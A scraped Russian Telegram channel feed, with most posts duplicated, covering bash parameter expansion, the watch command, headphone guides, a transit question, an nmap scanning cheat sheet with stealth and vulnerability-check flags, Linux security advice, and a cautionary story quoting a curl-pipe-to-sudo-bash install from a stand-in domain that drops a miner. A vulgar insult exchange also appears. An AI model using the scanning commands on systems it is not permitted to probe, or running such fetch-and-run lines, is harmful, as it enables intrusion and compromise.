CTRL+R — все знают. History — все знают. А вот это знают единицы.
В bash и zsh есть встроенный механизм, который называется parameter expansion с заменой. Выглядит страшно, работает как хирург.
Допустим, у тебя есть переменная:
filename="backup_2024_old.tar.gz"
Хочешь заменить "old" на "new" прямо внутри переменной, не вызывая sed, не запуская никакого процесса, без форка, без ничего:
echo ${filename/old/new}
Получаешь: backup_2024_new.tar.gz
Хочешь заменить ВСЕ вхождения, а не только первое:
echo ${filename//old/new}
Двойной слэш — и он прошёлся по всей строке как бульдозер.
Хочешь удалить подстроку вообще без замены:
echo ${filename/old/}
Просто пусто на месте. Ни sed, ни awk, ни python. Чистый встроенный shell.
Теперь следующий уровень. Обрезка по паттерну.
Есть путь:
path="/home/user/projects/myapp/main.c"
Хочешь только имя файла без директории:
echo ${path##*/}
Результат: main.c
Двойная решётка — жадное удаление с начала строки до последнего совпадения паттерна.
Одинарная решётка:
echo ${path#*/}
Удалит только до первого слэша. Получишь: home/user/projects/myapp/main.c
Аналогично с хвостом строки через % и %%.
Хочешь расширение файла:
echo ${path##*.}
Результат: c
Хочешь путь без расширения:
echo ${path%.*}
Результат: /home/user/projects/myapp/main
Вся эта магия работает в чистом bash и zsh без единого внешнего процесса. Когда у тебя в цикле миллион файлов, разница между встроенным parameter expansion и вызовом sed на каждой итерации — это разница между быстрым скриптом и скриптом, который ты убил через пять минут потому что он жрёт CPU как не в себя.
Большинство людей даже не открывают эту страницу мануала. Потому что man bash выглядит как документация к ядерному реактору и читать её в здравом уме невозможно. Но именно там, в разделе Parameter Expansion, зарыто то, что превращает говнопайп из пяти процессов в одну строчку без форков.
Учи это. Пиши быстрее. Не плоди процессы там, где shell справится сам.
linux.exe
Подпишись на создателей: https://t.me/linuxexex
В bash и zsh есть встроенный механизм, который называется parameter expansion с заменой. Выглядит страшно, работает как хирург.
Допустим, у тебя есть переменная:
filename="backup_2024_old.tar.gz"
Хочешь заменить "old" на "new" прямо внутри переменной, не вызывая sed, не запуская никакого процесса, без форка, без ничего:
echo ${filename/old/new}
Получаешь: backup_2024_new.tar.gz
Хочешь заменить ВСЕ вхождения, а не только первое:
echo ${filename//old/new}
Двойной слэш — и он прошёлся по всей строке как бульдозер.
Хочешь удалить подстроку вообще без замены:
echo ${filename/old/}
Просто пусто на месте. Ни sed, ни awk, ни python. Чистый встроенный shell.
Теперь следующий уровень. Обрезка по паттерну.
Есть путь:
path="/home/user/projects/myapp/main.c"
Хочешь только имя файла без директории:
echo ${path##*/}
Результат: main.c
Двойная решётка — жадное удаление с начала строки до последнего совпадения паттерна.
Одинарная решётка:
echo ${path#*/}
Удалит только до первого слэша. Получишь: home/user/projects/myapp/main.c
Аналогично с хвостом строки через % и %%.
Хочешь расширение файла:
echo ${path##*.}
Результат: c
Хочешь путь без расширения:
echo ${path%.*}
Результат: /home/user/projects/myapp/main
Вся эта магия работает в чистом bash и zsh без единого внешнего процесса. Когда у тебя в цикле миллион файлов, разница между встроенным parameter expansion и вызовом sed на каждой итерации — это разница между быстрым скриптом и скриптом, который ты убил через пять минут потому что он жрёт CPU как не в себя.
Большинство людей даже не открывают эту страницу мануала. Потому что man bash выглядит как документация к ядерному реактору и читать её в здравом уме невозможно. Но именно там, в разделе Parameter Expansion, зарыто то, что превращает говнопайп из пяти процессов в одну строчку без форков.
Учи это. Пиши быстрее. Не плоди процессы там, где shell справится сам.
linux.exe
Подпишись на создателей: https://t.me/linuxexex
Наушникотред #76
Гайды по выбору наушников (в бесконечной доработке):
Полноразмерные: https://pastebin.com/rDnuzPuw https://pastebin.com/rDnuzPuw
Внутриканальные: https://pastebin.com/cgyRM2Gx https://pastebin.com/cgyRM2Gx
TWS: https://pastebin.com/2ckzkgRJ https://pastebin.com/2ckzkgRJ
ЦАП/Усилитель: https://pastebin.com/CASBDunz https://pastebin.com/CASBDunz
Не нашёл ответа в гайдах и обзорах? Тогда пиши
1. Сколько готов потратить
2. Источник звука (куда будешь втыкать)
3. Тип наушников: полноразмерные, накладные, затычки, проводные/беспроводные итд;
если полноразмерные, то укажи: открытые (плохая изоляция, более натуральный звук, меньше баса) или закрытые (больше баса и изоляция чтобы мамка не слышала)
4. Предпочитаемые особенности звучания или жанры музыки
Обзоры и рекомендации:
Обзоры от блогеров со squig.link, их очень много
https://rtings.com/headphones/reviews/best https://rtings.com/headphones/reviews/best - более-менее можно доверять оценке Neutral sound и Isolation касательно шумодава. Подборки проплачены или субъективны.
https://www.soundguys.com https://www.soundguys.com - в обзорах есть график АЧХ на B&K 5128, таргетная кривая, которой можно доверять. Оценки обзорщиков могут быть проплачены или субъективны.
https://www.youtube.com/@crin https://www.youtube.com/@crin - обзоры наушников с учётом ачх, не лишено субъективности
https://www.audiosciencereview.com/forum/index.php?forums/headphone-reviews-and-discussions.58/ https://www.audiosciencereview.com/forum/index.php?forums/headphone-reviews-and-discussions.58/
https://diyaudioheaven.wordpress.com https://diyaudioheaven.wordpress.com
https://reference-audio-analyzer.pro https://reference-audio-analyzer.pro
https://www.dropbox.com/s/ke1urtaqi3j0jvj/1.pdf https://www.dropbox.com/s/ke1urtaqi3j0jvj/1.pdf - оче тухлый гайд
https://canpicker.com https://canpicker.com - оче тухлый рекоменд лист
Коррекция АЧХ:
Хочешь больше деталей/баса/воздуха/сцены или просто улучшить звук? Грамотная эквализация обычно способна дать это
https://peqdb.com/ https://peqdb.com/ - настройка под свой слух. Выбираешь в списке наушники, выбираешь режим AB slider, тянешь слайдер пока звук не станет лучше. В конце получаешь пресет. В меню шестеренки можно загрузить свою песню
https://rentry.org/IEM-EQ-Guide https://rentry.org/IEM-EQ-Guide - подробный гайд по ручной эквализации (нужен VPN)
https://autoeq.app/ https://autoeq.app/ - пресеты под твои наушники. По умолчанию эквализирует в кривую Harman. Есть предварительное прослушивание результата.
https://squig.link https://squig.link - Интерактивный браузер АЧХ + эквалайзер и тон генератор. Огромная база замеров. Качество замеров варьируется от ужасных до хороших.
https://www.reddit.com/r/oratory1990/wiki/index/list_of_presets https://www.reddit.com/r/oratory1990/wiki/index/list_of_presets - авторские пресеты от oratory1990. Одни из самых точных и технически правильных замеров в общем доступе (за исключением пары косячных моделей)
https://www.reddit.com/r/headphones/comments/1780005/bk_5128_graph_database/ https://www.reddit.com/r/headphones/comments/1780005/bk_5128_graph_database/ - сборник замеров на B&K 5128 без исходников. Графики можно вытащить через…
Источник (2ch /hw/): https://2ch.org/hw/res/7841054.html
Подпишись на создателей: https://t.me/linuxexex
Гайды по выбору наушников (в бесконечной доработке):
Полноразмерные: https://pastebin.com/rDnuzPuw https://pastebin.com/rDnuzPuw
Внутриканальные: https://pastebin.com/cgyRM2Gx https://pastebin.com/cgyRM2Gx
TWS: https://pastebin.com/2ckzkgRJ https://pastebin.com/2ckzkgRJ
ЦАП/Усилитель: https://pastebin.com/CASBDunz https://pastebin.com/CASBDunz
Не нашёл ответа в гайдах и обзорах? Тогда пиши
1. Сколько готов потратить
2. Источник звука (куда будешь втыкать)
3. Тип наушников: полноразмерные, накладные, затычки, проводные/беспроводные итд;
если полноразмерные, то укажи: открытые (плохая изоляция, более натуральный звук, меньше баса) или закрытые (больше баса и изоляция чтобы мамка не слышала)
4. Предпочитаемые особенности звучания или жанры музыки
Обзоры и рекомендации:
Обзоры от блогеров со squig.link, их очень много
https://rtings.com/headphones/reviews/best https://rtings.com/headphones/reviews/best - более-менее можно доверять оценке Neutral sound и Isolation касательно шумодава. Подборки проплачены или субъективны.
https://www.soundguys.com https://www.soundguys.com - в обзорах есть график АЧХ на B&K 5128, таргетная кривая, которой можно доверять. Оценки обзорщиков могут быть проплачены или субъективны.
https://www.youtube.com/@crin https://www.youtube.com/@crin - обзоры наушников с учётом ачх, не лишено субъективности
https://www.audiosciencereview.com/forum/index.php?forums/headphone-reviews-and-discussions.58/ https://www.audiosciencereview.com/forum/index.php?forums/headphone-reviews-and-discussions.58/
https://diyaudioheaven.wordpress.com https://diyaudioheaven.wordpress.com
https://reference-audio-analyzer.pro https://reference-audio-analyzer.pro
https://www.dropbox.com/s/ke1urtaqi3j0jvj/1.pdf https://www.dropbox.com/s/ke1urtaqi3j0jvj/1.pdf - оче тухлый гайд
https://canpicker.com https://canpicker.com - оче тухлый рекоменд лист
Коррекция АЧХ:
Хочешь больше деталей/баса/воздуха/сцены или просто улучшить звук? Грамотная эквализация обычно способна дать это
https://peqdb.com/ https://peqdb.com/ - настройка под свой слух. Выбираешь в списке наушники, выбираешь режим AB slider, тянешь слайдер пока звук не станет лучше. В конце получаешь пресет. В меню шестеренки можно загрузить свою песню
https://rentry.org/IEM-EQ-Guide https://rentry.org/IEM-EQ-Guide - подробный гайд по ручной эквализации (нужен VPN)
https://autoeq.app/ https://autoeq.app/ - пресеты под твои наушники. По умолчанию эквализирует в кривую Harman. Есть предварительное прослушивание результата.
https://squig.link https://squig.link - Интерактивный браузер АЧХ + эквалайзер и тон генератор. Огромная база замеров. Качество замеров варьируется от ужасных до хороших.
https://www.reddit.com/r/oratory1990/wiki/index/list_of_presets https://www.reddit.com/r/oratory1990/wiki/index/list_of_presets - авторские пресеты от oratory1990. Одни из самых точных и технически правильных замеров в общем доступе (за исключением пары косячных моделей)
https://www.reddit.com/r/headphones/comments/1780005/bk_5128_graph_database/ https://www.reddit.com/r/headphones/comments/1780005/bk_5128_graph_database/ - сборник замеров на B&K 5128 без исходников. Графики можно вытащить через…
Источник (2ch /hw/): https://2ch.org/hw/res/7841054.html
Подпишись на создателей: https://t.me/linuxexex
Pastebin
Полноразмерные наушники - Pastebin.com
Pastebin.com is the number one paste tool since 2002. Pastebin is a website where you can store text online for a set period of time.
watch
Вот команда, о которой большинство линуксоидов либо не знают, либо забывают нахрен после первого прочтения мануала. А зря.
watch запускает любую другую команду повторно с заданным интервалом и отображает вывод в терминале в реальном времени. Вот и всё. Просто, как табуретка, но убойно полезно.
Допустим, ты хочешь смотреть, как растёт файл:
watch -n 1 du -sh /var/log/syslog
Каждую секунду он будет обновлять вывод du прямо в терминале. Никакого тебе скрипта, никакого цикла while, никакой возни.
Или следишь за сетевыми подключениями:
watch -n 2 ss -tnp
Или мониторишь, сколько процессов жрёт память:
watch -n 3 'ps aux --sort=-%mem | head -10'
Параметр -n задаёт интервал в секундах. По умолчанию 2 секунды, можно поставить дробное: -n 0.5 и он будет долбить команду дважды в секунду.
Флаг -d подсвечивает изменения между итерациями. Реально удобно, когда смотришь на вывод, который меняется частично и глаза устают искать, что именно поменялось.
watch -d -n 1 netstat -i
Флаг -t убирает шапку с временем и названием команды, если хочешь чистый вывод.
Почему про неё забывают? Потому что когда новичок видит задачу "смотреть за чем-то в реальном времени", он лезет писать while true; do...; sleep 1; done в скрипт. Это работает, но это колхоз. watch делает то же самое, чище, с подсветкой изменений и без написания ни строчки скрипта.
Единственный реальный минус: watch не умеет нормально работать с командами, которые сами перерисовывают экран, типа top или htop. Но для всего статичного вывода это незаменимая штука.
Сохрани себе, пригодится в самый неожиданный момент, когда надо будет смотреть на что-то и не хочется писать портянку кода.
linux.exe
Подпишись на создателей: https://t.me/linuxexex
Вот команда, о которой большинство линуксоидов либо не знают, либо забывают нахрен после первого прочтения мануала. А зря.
watch запускает любую другую команду повторно с заданным интервалом и отображает вывод в терминале в реальном времени. Вот и всё. Просто, как табуретка, но убойно полезно.
Допустим, ты хочешь смотреть, как растёт файл:
watch -n 1 du -sh /var/log/syslog
Каждую секунду он будет обновлять вывод du прямо в терминале. Никакого тебе скрипта, никакого цикла while, никакой возни.
Или следишь за сетевыми подключениями:
watch -n 2 ss -tnp
Или мониторишь, сколько процессов жрёт память:
watch -n 3 'ps aux --sort=-%mem | head -10'
Параметр -n задаёт интервал в секундах. По умолчанию 2 секунды, можно поставить дробное: -n 0.5 и он будет долбить команду дважды в секунду.
Флаг -d подсвечивает изменения между итерациями. Реально удобно, когда смотришь на вывод, который меняется частично и глаза устают искать, что именно поменялось.
watch -d -n 1 netstat -i
Флаг -t убирает шапку с временем и названием команды, если хочешь чистый вывод.
Почему про неё забывают? Потому что когда новичок видит задачу "смотреть за чем-то в реальном времени", он лезет писать while true; do...; sleep 1; done в скрипт. Это работает, но это колхоз. watch делает то же самое, чище, с подсветкой изменений и без написания ни строчки скрипта.
Единственный реальный минус: watch не умеет нормально работать с командами, которые сами перерисовывают экран, типа top или htop. Но для всего статичного вывода это незаменимая штука.
Сохрани себе, пригодится в самый неожиданный момент, когда надо будет смотреть на что-то и не хочется писать портянку кода.
linux.exe
Подпишись на создателей: https://t.me/linuxexex
watch
Вот эта маленькая сволочь делает одну вещь, но делает её идеально: запускает любую команду снова и снова и показывает вывод в реальном времени прямо в терминале.
watch df -h
И теперь ты видишь, как заполняется диск, каждые две секунды, не запуская команду вручную сто раз подряд.
Хочешь обновлять чаще? Пожалуйста.
watch -n 0.5 free -m
Каждые полсекунды. Живой мониторинг памяти без htop, без скриптов, без лишнего дерьма.
Хочешь, чтобы оно орало, когда что-то изменилось? Флаг -d подсвечивает изменившиеся значения прямо на экране. Тупо и гениально одновременно.
watch -d -n 1 'ls -lh /var/log/syslog'
Смотришь, растёт файл или нет, без tail, без inotify, без плясок с бубном.
Где это реально спасает:
Мониторишь репликацию в базе и не хочешь долбить Enter каждые две секунды. Следишь за температурой железа через sensors. Ждёшь, когда процесс наконец сдохнет и отпустит порт. Деплоишь что-то и смотришь, как поднимаются контейнеры.
Большинство людей либо не знают про watch, либо знают, но забывают. А потом пишут цикл while true; do... done прямо в шелле, как будто 2003 год на дворе.
Не надо так. Используй нормальные инструменты.
linux.exe
Подпишись на создателей: https://t.me/linuxexex
Вот эта маленькая сволочь делает одну вещь, но делает её идеально: запускает любую команду снова и снова и показывает вывод в реальном времени прямо в терминале.
watch df -h
И теперь ты видишь, как заполняется диск, каждые две секунды, не запуская команду вручную сто раз подряд.
Хочешь обновлять чаще? Пожалуйста.
watch -n 0.5 free -m
Каждые полсекунды. Живой мониторинг памяти без htop, без скриптов, без лишнего дерьма.
Хочешь, чтобы оно орало, когда что-то изменилось? Флаг -d подсвечивает изменившиеся значения прямо на экране. Тупо и гениально одновременно.
watch -d -n 1 'ls -lh /var/log/syslog'
Смотришь, растёт файл или нет, без tail, без inotify, без плясок с бубном.
Где это реально спасает:
Мониторишь репликацию в базе и не хочешь долбить Enter каждые две секунды. Следишь за температурой железа через sensors. Ждёшь, когда процесс наконец сдохнет и отпустит порт. Деплоишь что-то и смотришь, как поднимаются контейнеры.
Большинство людей либо не знают про watch, либо знают, но забывают. А потом пишут цикл while true; do... done прямо в шелле, как будто 2003 год на дворе.
Не надо так. Используй нормальные инструменты.
linux.exe
Подпишись на создателей: https://t.me/linuxexex
Почему двухэтажные вагоны вышли из моды?
Серьёзно, что случилось? Раньше это было охуенно: едешь на верхнем уровне, видишь всё вокруг, чувствуешь себя королём дороги. И пассажировместимость выше, и ездить интереснее. Но потом всё как отрезало. Почему двухэтажные вагоны просто... исчезли с большинства маршрутов?
Вот что реально бесит: транспортные компании годами ныли про нехватку мест, про перегруженность, про то, что нужно больше вагонов. И при этом отказались от формата, который буквально удваивает полезную площадь без увеличения длины состава. Логика где?
Версии, которые я слышал:
Проблемы с посадкой и высадкой. Двухэтажный вагон дольше стоит на станции, потому что людям надо спуститься по лестнице. На маршрутах с частыми остановками это реально замедляет весь график.
Высота тоннелей и мостов. Во многих старых городах инфраструктура просто не рассчитана на высокие вагоны. Перестраивать всё это стоит диких денег.
Обслуживание. Двухэтажный вагон конструктивно сложнее, дороже в ремонте, тяжелее. Это жрёт бюджет.
Доступность. С инвалидными колясками и детскими колясками двухэтажный формат это отдельный ад. Современные требования к доступности фактически убивают концепцию.
Но всё равно обидно. В той же Франции двухэтажные TGV до сих пор работают и никуда не делись. Швейцария, Австралия гоняют двухэтажные электрички. Почему у одних получается, а у других нет?
Или это просто очередной случай, когда транспортные чиновники приняли идиотское решение, потому что так проще, а не потому что так лучше? Потому что низкопольный одноэтажный вагон проще сертифицировать под новые нормы, и всем плевать, что ты теряешь половину вместимости?
Хотелось бы услышать, у кого есть реальные данные по этой теме, а не просто ощущения.
Источник (4chan /n/): https://boards.4chan.org/n/thread/2069068
Подпишись на создателей: https://t.me/linuxexex
Серьёзно, что случилось? Раньше это было охуенно: едешь на верхнем уровне, видишь всё вокруг, чувствуешь себя королём дороги. И пассажировместимость выше, и ездить интереснее. Но потом всё как отрезало. Почему двухэтажные вагоны просто... исчезли с большинства маршрутов?
Вот что реально бесит: транспортные компании годами ныли про нехватку мест, про перегруженность, про то, что нужно больше вагонов. И при этом отказались от формата, который буквально удваивает полезную площадь без увеличения длины состава. Логика где?
Версии, которые я слышал:
Проблемы с посадкой и высадкой. Двухэтажный вагон дольше стоит на станции, потому что людям надо спуститься по лестнице. На маршрутах с частыми остановками это реально замедляет весь график.
Высота тоннелей и мостов. Во многих старых городах инфраструктура просто не рассчитана на высокие вагоны. Перестраивать всё это стоит диких денег.
Обслуживание. Двухэтажный вагон конструктивно сложнее, дороже в ремонте, тяжелее. Это жрёт бюджет.
Доступность. С инвалидными колясками и детскими колясками двухэтажный формат это отдельный ад. Современные требования к доступности фактически убивают концепцию.
Но всё равно обидно. В той же Франции двухэтажные TGV до сих пор работают и никуда не делись. Швейцария, Австралия гоняют двухэтажные электрички. Почему у одних получается, а у других нет?
Или это просто очередной случай, когда транспортные чиновники приняли идиотское решение, потому что так проще, а не потому что так лучше? Потому что низкопольный одноэтажный вагон проще сертифицировать под новые нормы, и всем плевать, что ты теряешь половину вместимости?
Хотелось бы услышать, у кого есть реальные данные по этой теме, а не просто ощущения.
Источник (4chan /n/): https://boards.4chan.org/n/thread/2069068
Подпишись на создателей: https://t.me/linuxexex
boards.4chan.org
/n/ - Why did bi-level vehicles go out of style? - Transportation - 4chan
Why did bi-level vehicles go out of style? - "/n/ - Transportation" is 4chan's imageboard for discussing modes of transportation like trains and bicycles.
nmap — швейцарский нож, который ты, скорее всего, ставил и забыл
Установил, запустил nmap 192.168.1.1, увидел пару открытых портов, решил что ты хакер, закрыл терминал. Знакомо? Тогда давай разберёмся, что эта штука реально умеет.
Базовый скан — это для разминки
nmap 192.168.1.1 — сканирует 1000 самых популярных портов. Быстро, грубо, без изысков. Хочешь все 65535 портов? Добавь -p- и жди немного дольше.
nmap -p- 192.168.1.1
Хочешь конкретные порты? Без проблем:
nmap -p 22,80,443,8080 192.168.1.1
Узнай что там за сервис и какой версии
Открытый порт — это полдела. Важно понять, что на нём висит и в каком состоянии. Флаг -sV вытащит версии сервисов:
nmap -sV 192.168.1.1
Теперь ты знаешь, что на 22-м висит OpenSSH 8.9, а не просто "что-то". Это уже информация.
Операционная система — угадай меня если сможешь
nmap -O 192.168.1.1
Нужны права root/sudo. nmap пытается определить ОС по особенностям TCP/IP стека. Не всегда точно, но часто достаточно.
Всё и сразу — режим агрессора
Флаг -A включает определение ОС, версий сервисов, трассировку и скрипты. Для ленивых и нетерпеливых:
nmap -A 192.168.1.1
Шумно как слон в посудной лавке, зато информативно.
Скрипты — вот где начинается настоящее веселье
У nmap есть NSE — Nmap Scripting Engine. Это библиотека скриптов для всего подряд: от поиска уязвимостей до брутфорса.
Проверить уязвимости через скрипты:
nmap --script vuln 192.168.1.1
Найти все хосты в сети:
nmap -sn 192.168.1.0/24
Это пинг-скан, без сканирования портов. Просто показывает кто живой в подсети.
Проверить конкретную уязвимость, например SMB:
nmap --script smb-vuln-ms17-010 192.168.1.1
Это тот самый EternalBlue, которым WannaCry гулял по миру. Проверяй свои машины, пока кто-то другой не проверил за тебя.
Скорость и скрытность
По умолчанию nmap работает на уровне T3. Хочешь быстрее:
nmap -T4 192.168.1.1
Хочешь медленнее и тише, чтобы не светиться в логах IDS:
nmap -T1 192.168.1.1
Будет сканировать долго, но менее заметно.
SYN-скан — полуоткрытый и почти незаметный
nmap -sS 192.168.1.1
Отправляет SYN, получает SYN-ACK, не завершает рукопожатие. Быстро, меньше следов в логах. Нужен root.
UDP — про него все забывают
nmap -sU 192.168.1.1
UDP медленный и нудный, но DNS, SNMP, DHCP и куча другого полезного сидит именно там. Не игнорируй.
Сохранить результаты
nmap -oN результат.txt 192.168.1.1
Или в XML для последующего парсинга:
nmap -oX результат.xml 192.168.1.1
Важное и очевидное
Сканируй только то, на что у тебя есть разрешение. Сканирование чужих сетей без спроса — это не хакерство, это административное или уголовное дело в зависимости от страны и настроения пострадавшего. Своя лаборатория, виртуалки, CTF, пентест с письменным разрешением — вот твоя площадка.
nmap не сложный. Он просто большой. Читай man nmap, там реально есть всё.
Подпишись на создателей: https://t.me/linuxexex
Установил, запустил nmap 192.168.1.1, увидел пару открытых портов, решил что ты хакер, закрыл терминал. Знакомо? Тогда давай разберёмся, что эта штука реально умеет.
Базовый скан — это для разминки
nmap 192.168.1.1 — сканирует 1000 самых популярных портов. Быстро, грубо, без изысков. Хочешь все 65535 портов? Добавь -p- и жди немного дольше.
nmap -p- 192.168.1.1
Хочешь конкретные порты? Без проблем:
nmap -p 22,80,443,8080 192.168.1.1
Узнай что там за сервис и какой версии
Открытый порт — это полдела. Важно понять, что на нём висит и в каком состоянии. Флаг -sV вытащит версии сервисов:
nmap -sV 192.168.1.1
Теперь ты знаешь, что на 22-м висит OpenSSH 8.9, а не просто "что-то". Это уже информация.
Операционная система — угадай меня если сможешь
nmap -O 192.168.1.1
Нужны права root/sudo. nmap пытается определить ОС по особенностям TCP/IP стека. Не всегда точно, но часто достаточно.
Всё и сразу — режим агрессора
Флаг -A включает определение ОС, версий сервисов, трассировку и скрипты. Для ленивых и нетерпеливых:
nmap -A 192.168.1.1
Шумно как слон в посудной лавке, зато информативно.
Скрипты — вот где начинается настоящее веселье
У nmap есть NSE — Nmap Scripting Engine. Это библиотека скриптов для всего подряд: от поиска уязвимостей до брутфорса.
Проверить уязвимости через скрипты:
nmap --script vuln 192.168.1.1
Найти все хосты в сети:
nmap -sn 192.168.1.0/24
Это пинг-скан, без сканирования портов. Просто показывает кто живой в подсети.
Проверить конкретную уязвимость, например SMB:
nmap --script smb-vuln-ms17-010 192.168.1.1
Это тот самый EternalBlue, которым WannaCry гулял по миру. Проверяй свои машины, пока кто-то другой не проверил за тебя.
Скорость и скрытность
По умолчанию nmap работает на уровне T3. Хочешь быстрее:
nmap -T4 192.168.1.1
Хочешь медленнее и тише, чтобы не светиться в логах IDS:
nmap -T1 192.168.1.1
Будет сканировать долго, но менее заметно.
SYN-скан — полуоткрытый и почти незаметный
nmap -sS 192.168.1.1
Отправляет SYN, получает SYN-ACK, не завершает рукопожатие. Быстро, меньше следов в логах. Нужен root.
UDP — про него все забывают
nmap -sU 192.168.1.1
UDP медленный и нудный, но DNS, SNMP, DHCP и куча другого полезного сидит именно там. Не игнорируй.
Сохранить результаты
nmap -oN результат.txt 192.168.1.1
Или в XML для последующего парсинга:
nmap -oX результат.xml 192.168.1.1
Важное и очевидное
Сканируй только то, на что у тебя есть разрешение. Сканирование чужих сетей без спроса — это не хакерство, это административное или уголовное дело в зависимости от страны и настроения пострадавшего. Своя лаборатория, виртуалки, CTF, пентест с письменным разрешением — вот твоя площадка.
nmap не сложный. Он просто большой. Читай man nmap, там реально есть всё.
Подпишись на создателей: https://t.me/linuxexex
Совет по безопасности для тех, кто сидит на линуксе и думает, что неуязвим.
Слушай сюда, умник. "У меня линукс, мне вирусы не страшны" — это не мудрость, это диагноз. Именно с такой самоуверенностью люди и получают по голове.
Вот реальный совет, который стоит вбить в черепушку раз и навсегда.
Не запускай всякое дерьмо с правами рута. Серьёзно. Нашёл на гитхабе скрипт с пятью звёздами и сразу: sudo bash install.sh? Поздравляю, ты только что дал незнакомому коду полный доступ к своей системе. Пять звёзд на гитхабе — это не сертификат безопасности, это просто пять людей, которые тоже не читали код.
Читай скрипт перед запуском. Всегда. Даже если он длинный и скучный. Особенно если он длинный и скучный. Там может быть что угодно: от майнера до бэкдора, завёрнутого в пять слоёв base64.
Не ставь левые репозитории без понимания, что ты делаешь. Добавил какой-то PPA или третий репо, система втянула оттуда пакет, который перезаписал нужную библиотеку — и привет, у тебя теперь не сервер, а чужой дом. С чужим хозяином.
Обновляй систему. Звучит банально, но половина взломов происходит через дыры, которые закрыты уже месяц как. Просто лень было апдейт запустить.
Настрой firewall. Да, ufw в две команды, не надо быть богом сетей. Но хоть что-то между тобой и интернетом должно стоять.
И последнее: линукс даёт тебе инструменты для безопасности, а не саму безопасность. Разница огромная. Топор в руках — это инструмент. Безопасность зависит от того, кто держит топор и насколько он вменяемый.
Так что не расслабляй булки только потому что у тебя не винда.
Подпишись на создателей: https://t.me/linuxexex
Слушай сюда, умник. "У меня линукс, мне вирусы не страшны" — это не мудрость, это диагноз. Именно с такой самоуверенностью люди и получают по голове.
Вот реальный совет, который стоит вбить в черепушку раз и навсегда.
Не запускай всякое дерьмо с правами рута. Серьёзно. Нашёл на гитхабе скрипт с пятью звёздами и сразу: sudo bash install.sh? Поздравляю, ты только что дал незнакомому коду полный доступ к своей системе. Пять звёзд на гитхабе — это не сертификат безопасности, это просто пять людей, которые тоже не читали код.
Читай скрипт перед запуском. Всегда. Даже если он длинный и скучный. Особенно если он длинный и скучный. Там может быть что угодно: от майнера до бэкдора, завёрнутого в пять слоёв base64.
Не ставь левые репозитории без понимания, что ты делаешь. Добавил какой-то PPA или третий репо, система втянула оттуда пакет, который перезаписал нужную библиотеку — и привет, у тебя теперь не сервер, а чужой дом. С чужим хозяином.
Обновляй систему. Звучит банально, но половина взломов происходит через дыры, которые закрыты уже месяц как. Просто лень было апдейт запустить.
Настрой firewall. Да, ufw в две команды, не надо быть богом сетей. Но хоть что-то между тобой и интернетом должно стоять.
И последнее: линукс даёт тебе инструменты для безопасности, а не саму безопасность. Разница огромная. Топор в руках — это инструмент. Безопасность зависит от того, кто держит топор и насколько он вменяемый.
Так что не расслабляй булки только потому что у тебя не винда.
Подпишись на создателей: https://t.me/linuxexex
Кирилл нашёл скрипт в час ночи.
Пять звёзд на гитхабе, форк от какого-то немца, описание на трёх языках сразу. Скрипт якобы автоматически настраивал окружение для разработки: питон, докер, нужные либы. Красота.
Кирилл был не идиотом. Он три года сидел на арче, знал разницу между chmod и chown, и однажды даже объяснял маме, что такое терминал. Поэтому он, конечно же, сделал единственное логичное: скопировал команду из ридми и влепил в консоль.
curl -sSL https://somerandombullshit.io/setup.sh | sudo bash
Энтер.
Скрипт побежал весело и быстро. Кирилл налил чай.
Через двадцать минут он заметил, что вентилятор ноутбука орёт как реактивный двигатель. Открыл htop. Там висел процесс с именем, похожим на системный, но чуть-чуть не таким. Один символ. Точка вместо тире.
Кирилл сидел и смотрел на экран. Потом в окно. Потом снова на экран.
Процессор грузился под девяносто процентов. Куда-то шёл трафик. Постоянно.
Он не паниковал. Он был взрослый, спокойный человек с тремя годами на арче. Поэтому он просто сидел и тихо говорил себе: вот это пиздец, вот это реально пиздец, Кирюша.
Скрипт был длинный. Там было три экрана легитимного кода и одна строчка в середине, завёрнутая в base64, которая разворачивалась в ещё одну строчку, которая тянула бинарник с левого домена, зарегистрированного неделю назад. Он бы это увидел, если бы читал. Три минуты чтения. Он потратил сорок секунд на копирование и три года на самоуверенность.
Кирилл откатился из бэкапа. Бэкап был. Это его и спасло.
Потом он сидел с чаем, уже холодным, и смотрел в чистую систему. Открыл терминал. Написал cat install.sh. Прочитал. Это было скучно и длинно и местами непонятно.
Но он прочитал.
Потому что линукс дал ему инструменты. А голова теперь должна была догнать.
Пять звёзд на гитхабе, форк от какого-то немца, описание на трёх языках сразу. Скрипт якобы автоматически настраивал окружение для разработки: питон, докер, нужные либы. Красота.
Кирилл был не идиотом. Он три года сидел на арче, знал разницу между chmod и chown, и однажды даже объяснял маме, что такое терминал. Поэтому он, конечно же, сделал единственное логичное: скопировал команду из ридми и влепил в консоль.
curl -sSL https://somerandombullshit.io/setup.sh | sudo bash
Энтер.
Скрипт побежал весело и быстро. Кирилл налил чай.
Через двадцать минут он заметил, что вентилятор ноутбука орёт как реактивный двигатель. Открыл htop. Там висел процесс с именем, похожим на системный, но чуть-чуть не таким. Один символ. Точка вместо тире.
Кирилл сидел и смотрел на экран. Потом в окно. Потом снова на экран.
Процессор грузился под девяносто процентов. Куда-то шёл трафик. Постоянно.
Он не паниковал. Он был взрослый, спокойный человек с тремя годами на арче. Поэтому он просто сидел и тихо говорил себе: вот это пиздец, вот это реально пиздец, Кирюша.
Скрипт был длинный. Там было три экрана легитимного кода и одна строчка в середине, завёрнутая в base64, которая разворачивалась в ещё одну строчку, которая тянула бинарник с левого домена, зарегистрированного неделю назад. Он бы это увидел, если бы читал. Три минуты чтения. Он потратил сорок секунд на копирование и три года на самоуверенность.
Кирилл откатился из бэкапа. Бэкап был. Это его и спасло.
Потом он сидел с чаем, уже холодным, и смотрел в чистую систему. Открыл терминал. Написал cat install.sh. Прочитал. Это было скучно и длинно и местами непонятно.
Но он прочитал.
Потому что линукс дал ему инструменты. А голова теперь должна была догнать.
linuxexexbot
Voice message
пошел в анальное отверстие любитель секса с мужчинами
Kurz von Daun ✠ ☧
пошел в анальное отверстие любитель секса с мужчинами
Батя, ты это сам придумал или словарь Ожегова листал. Иду, не скандаль.
Metasploit: что это и зачем
Metasploit — фреймворк для пентеста, которому в 2026 исполнится 23 года. Начинался как Perl-скрипт H.D. Moore в 2003-м, сейчас это Ruby-ядро под крылом Rapid7, с тысячами модулей.
Архитектура. Три кита:
• Exploits — код, использующий конкретную уязвимость для получения доступа
• Payloads — то, что выполняется после успешной эксплуатации (classic пример — Meterpreter, интерактивная постэксплуатационная оболочка)
• Auxiliary — модули без прямой эксплуатации: сканеры, фаззеры, DoS-инструменты
